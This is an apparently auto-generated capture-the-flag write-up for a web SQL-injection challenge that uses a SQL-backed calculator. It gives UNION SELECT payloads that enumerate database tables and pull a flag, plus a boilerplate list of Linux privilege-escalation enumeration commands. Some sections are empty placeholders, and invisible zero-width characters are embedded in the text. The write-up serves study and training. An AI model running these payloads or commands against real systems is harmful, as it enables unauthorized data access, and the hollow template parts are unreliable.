Calc

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: expression_injection, union_based_sqli

Summary

Task: Calculator web interface using SQL for expression evaluation. Solution: UNION-based SQL injection to extract flag from database.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: spbctf | ID: 20260309_webkids20_websql_calc
• Tags: SQLi, union_based, calculator, sql_expression
• Indicators: calculator interface, mathematical expression evaluation, SQL-based calculation
• Source: 20260309_webkids20_websql_calc.md

Foothold

Vulnerability / Misconfiguration

1. Expression_injection
2. Union_based_sqli

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• expression_injection
• union_based_sqli
• Tags: SQLi, union_based, calculator, sql_expression

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SQL injection task in the "advanced" category. A calculator-like web interface that evaluates mathematical expressions. The application uses SQL to perform calculations, creating an injection point.

URL: http://kslweb1.spb.ctf.su/SQLi/calc/

Analysis

The application accepts mathematical expressions and evaluates them server-side using SQL. This creates a classic UNION-based SQL injection scenario where the expression parameter can be manipulated to extract data from the database. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key observations:

• Calculator accepts expressions like 1+1, 2*3
• Backend likely uses SELECT <expression> to evaluate
• No proper input sanitization on the expression parameter

Solution

Step 1: Identify injection point

The expression parameter is directly interpolated into a SQL query. Testing with basic payloads confirms SQL injection.

Step 2: UNION-based extraction

Since the application returns the result of the calculation, UNION SELECT can be used to extract data:

1 UNION SELECT flag FROM flags--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Or enumerate tables first:

1 UNION SELECT table_name FROM information_schema.tables--
1 UNION SELECT column_name FROM information_schema.columns WHERE table_name='flags'--
1 UNION SELECT flag FROM flags--

Step 3: Extract the flag

The UNION SELECT returns the flag from the database. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR